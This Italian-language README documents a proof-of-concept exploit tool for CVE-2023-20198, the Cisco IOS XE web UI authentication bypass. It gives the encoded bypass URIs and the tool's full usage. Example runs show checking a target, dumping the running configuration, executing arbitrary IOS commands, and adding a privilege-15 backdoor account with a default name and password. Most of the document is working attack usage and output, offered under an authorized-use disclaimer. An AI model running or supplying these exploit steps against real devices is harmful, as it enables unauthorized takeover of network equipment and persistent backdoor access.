
CVE-2023-20198 Exploit PoC
Exploit PoC per CVE-2023-20198
CVE-2023-20198 è caratterizzata da una validazione impropria del percorso per bypassare il filtro Nginx e raggiungere l'endpoint web webui_wsma_http senza richiedere autenticazione.
Bypassando l'autenticazione all'endpoint, un attaccante può eseguire comandi Cisco IOS arbitrari o apportare modifiche alla configurazione con privilegi di livello 15 (Privilege 15).
L'indagine di Cisco sullo sfruttamento attivo della vulnerabilità precedentemente non divulgata ha rivelato che gli attori delle minacce hanno prima sfruttato CVE-2023-20198 per aggiungere un nuovo utente con livello di privilegio 15. Ulteriori attacchi hanno coinvolto lo sfruttamento di CVE-2023-20273 per elevare i privilegi fino all'utente root del sistema operativo Linux sottostante per facilitare l'impianto.
Questo PoC sfrutta CVE-2023-20198 per utilizzare due diversi endpoint XML SOAP:
Le opzioni di verifica della vulnerabilità, configurazione ed esecuzione comandi hanno tutte come obiettivo l'endpoint SOAP cisco:wsma-exec per inserire comandi nel tag dell'elemento execCLI.
L'opzione di aggiunta utente ha come obiettivo l'endpoint SOAP cisco:wsma-config per effettuare una modifica alla configurazione e aggiungere l'account Privilege 15. Questo endpoint potrebbe essere [ab]usato per apportare altre modifiche alla configurazione, ma ciò esula dallo scopo di questo PoC.
L'abuso dell'endpoint SOAP cisco:wsma-exec deriva dal template nuclei
L'abuso dell'endpoint SOAP cisco:wsma-config deriva dal PoC di horizon3ai
Nota: non ho condotto alcuna ricerca originale né sviluppo del PoC per questa CVE. Vedere la sezione riferimenti per i crediti.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-uri vulnerableURI The URI that is vulnerable to exploit. The most common are "%2577eb%2575i_%2577sma_Http", "%2577eb%2575i_%2577sma_https", and "%2577ebui_wsma_https". You may need to play around with these along with -https to get a true positive result
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
Per verificare la presenza di CVE-2023-20198, -c tenterà di sfruttare la vulnerabilità per eseguire uname -a
Esempio:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
L'opzione -g esegue sh run per recuperare la configurazione in esecuzione
Esempio:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Comandi Cisco IOS arbitrari possono essere eseguiti con l'opzione -e.
È necessario usare estrema cautela quando si utilizza questa opzione per apportare modifiche alla configurazione. Non c'è validazione degli input e le modifiche vengono applicate immediatamente alla configurazione in esecuzione.
Esempio:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
L'opzione -a può essere utilizzata per creare un nuovo account utente con Privilege 15, specificando opzionalmente il nome dell'account e la password rispettivamente con -u e -p.
Esempio:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
L'opzione -d può essere utilizzata per rimuovere un account utente dal dispositivo e rispetta il nome utente specificato con -u.
Bisogna prestare attenzione per assicurarsi di non eliminare un account legittimo.
Questa opzione è stata aggiunta per i casi in cui non è possibile ottenere accesso shell/webui a un Cisco compromesso. È stato osservato che l'aggiunta di un utente con Privilege 15 non garantisce l'accesso webui e potrebbe portare a lasciare artefatti di sfruttamento sugli host.
Cisco Advisory
horizon3ai CVE-2023-20198 research
horizon3ai CVE-2023-20198 PoC
nuclei CVE-2023-20198 template (Autori: iamnoooob, rootxharsh, pdresearch)
LeakIX CVE-2023-20273 PoC
Il codice contenuto in questo progetto è destinato esclusivamente alla ricerca e all'utilizzo su sistemi per i quali l'utente ha esplicita autorizzazione.
L'autore di questo progetto non è responsabile o imputabile per l'uso improprio del software.
Usa in modo responsabile e non essere malvagio.